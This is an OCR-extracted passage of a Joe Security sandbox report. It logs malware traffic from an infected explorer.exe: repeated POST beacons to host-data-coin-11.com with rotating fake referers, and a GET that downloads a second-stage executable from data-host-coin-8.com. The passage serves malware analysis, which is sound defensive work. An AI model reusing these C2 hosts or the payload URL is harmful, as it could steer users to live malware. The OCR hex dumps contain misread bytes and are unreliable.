48 01 00 00 00 00 03 00 40 f1 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e
736861 72 65 64 00 00 e0 02 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60
2e 72 64 61 74 61 00 00 00 10 00 00 00 fO 02 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 ¢
02e 72 73 72 63 00 00 00 40 f1 03 00 00 00 03 00 40 f1 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
40 2e 69 74 65 78 74 00 00 00 80 01 00 00 00 07 00 74 7d 01 00 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 9f 4f a3
80 62 8¢ 50 f4 17 89 50 55 64 7b 05 3e 3b 0a 89 6¢ c5 b7 56 31 5a 0b 63 f0 50 11 fb 03 df e3 63 4f 79 62 7b 4e 9a 3e c4
30 €8 37 39 67 dc 5b 99 01 03 6¢ f0 02 00 00 00

Data Ascii: MZog":(332fC'B{b+Rd:QPELa.|@ @%@H@.shared .rdata@.rsrc@ @ @ @.itextt}@ObPPUd{>;IV1ZcPcOyb{N>

0799l

Session ID Source IP Source Port Destination IP Destination Port Process

49 192.168.2.3 49792 139.28.222.172 80 C:\Windows\explorer.exe

kBytes

Timestamp transferred Direction Data

Jan 6, 2022 12916 ouT POST /HTTP/1.1

08:09:57.332645893 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ppeextw.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 185
Host: host-data-coin-11.com

Jan 6, 2022 12917 IN HTTP/1.1 404 Not Found

08:09:57.417051077 CET Server: nginx/1.20.1
Date: Thu, 06 Jan 2022 07:09:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.3 49810 144.76.136.153 443 C:\Windows\explorer.exe

kBytes
Timestamp transferred Direction Data
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Session ID Source IP

50 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 12918

08:09:57.509541035 CET

Jan 6, 2022 12919
08:09:57.592351913 CET

Session ID Source IP
51 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 12920

08:09:57.684561968 CET

Jan 6, 2022 12921
08:09:57.767227888 CET

Session ID Source IP

52 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Source Port

49793

Direction

ouT

Source Port

49794

Direction

ouT

Source Port

49795

Direction

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wbyyx.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 147

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://easifa.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 368

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred

Jan 6, 2022 12922

08:09:57.858691931 CET

Jan 6, 2022 12923

08:09:57.942064047 CET

Session ID Source IP

53 192.168.2.3
kBytes

Timestamp transferred

Jan 6, 2022 12924

08:09:58.022799969 CET

Jan 6, 2022 12925

08:09:58.110987902 CET

Session ID Source IP

54 192.168.2.3
kBytes

Timestamp transferred

Jan 6, 2022 12944

08:09:58.604856968 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49796

Direction

ouT

Source Port
49799

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://udsyikv.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 342

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:57 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kmwnx.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 334

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d
ec 0d 0a 30 0d Oa 0d Oa

Data Ascii: 221:8200%-0

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xvhamihxut.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 119

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Jan 6, 2022 12945
08:09:58.684317112 CET

Session ID Source IP
55 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 12945

08:09:58.767822027 CET

Jan 6, 2022 12946
08:09:58.847223997 CET

Session ID Source IP
56 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 12947

08:09:59.240931988 CET

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49800

Direction

ouT

Source Port
49801

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mmiom.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 303

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 €9 al 88 70 bc 57 dd 43 d7 fd 24 84 27 ed ¢3 97 55 2a f8 €3 00 7e 0d Oa 30 0d
Oa 0d Oa

Data Ascii: 451:820R&:UPJ%9FpWC$'U*~0

Destination IP  Destination Port Process
139.28.222.172 80 C:\Windows\explorer.exe

Data

GET /files/8584_1641133152_551.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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kBytes
Timestamp transferred

Jan 6, 2022 12948
08:09:59.305490971 CET

Session ID Source IP
57 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 13739

08:10:01.307724953 CET

Jan 6, 2022 13740
08:10:01.384064913 CET

Session ID Source IP

58 192.168.2.3

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49802

Direction
ouT

Source Port

49803

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:59 GMT

Content-Type: application/x-msdos-program

Content-Length: 760832

Connection: close

Last-Modified: Sun, 02 Jan 2022 14:19:12 GMT

ETag: "b9c00-5d49a1695789b"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 7a 38 7e 52 3e 59 10 01 3e 59 10 01 3e 59 10 01 20 Ob 85 01 2c 59 10 01 20 Ob
93 01 46 59 10 01 19 9f 6b 01 3b 59 10 01 3e 59 11 01 80 59 10 01 20 Ob 94 01 7e 59 10 01 20 Ob 84 01 3f 59 10 01 20 0
b 81 01 3f 59 10 01 52 69 63 68 3e 59 10 01 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 2e e4 60 00 00 00 00 00
00 00 00 e0 00 02 01 Ob 01 09 00 00 6¢ 0a 00 00 3c 02 00 00 00 00 00 80 67 08 00 00 10 00 00 00 80 Oa 00 00 00 40 00
00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 48 00 00 04 00 00 65 d4 Ob 00 02 00 00
80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 6a 0a 00 3¢ 00
00 00 00 30 Oc 00 b0 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 23 00 00 40 13 00 00 1c
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 a3 00 00 40 00 00 00 00 00 00 00
00 00 00 00 00 10 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65
78 74 00 00 00 cc 6a 0Oa 00 00 10 00 00 00 6¢ Oa 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64
61 74 61 00 00 00 68 9a 01 00 00 80 0a 00 00 8¢ 00 00 00 70 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e
6a 6f 68 61 63 00 00 05 00 00 00 00 20 Oc 00 00 02 00 00 00 fc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e
72 7372 63 00 00 00 b0 c9 3b 00 00 30 Oc 00 00 5a 00 00 00 fe 0Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40
2e 72 65 6¢ 6f 63 00 00 74 42 00 00 00 00 48 00 00 44 00 00 00 58 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 4
200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 c6 75 0a 00 00 00 00 00 54 6d 0a 00 6a 6d Oa 00 7a 6d Oa 00 8a 6d Oa 00 a6 6d Oa 00 ba
6d 0a 00 ce 6d Oa 00 de 6d Oa 00 f8 6d Oa 00 12 6e Oa 00 2a 6e Oa 00 3e

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z8~R>Y>Y>Y Y FYk;Y>YY ~Y ?Y ?YRich>YPEL.®
I<g@PHe$j<0YH#@ @.textjl ".datahp@.johac @.rsrc;0Z@@.reloctBHDX@BuTmjmzmmmmmmmn*n>

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://qwpkuphah.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 216

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:10:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title>
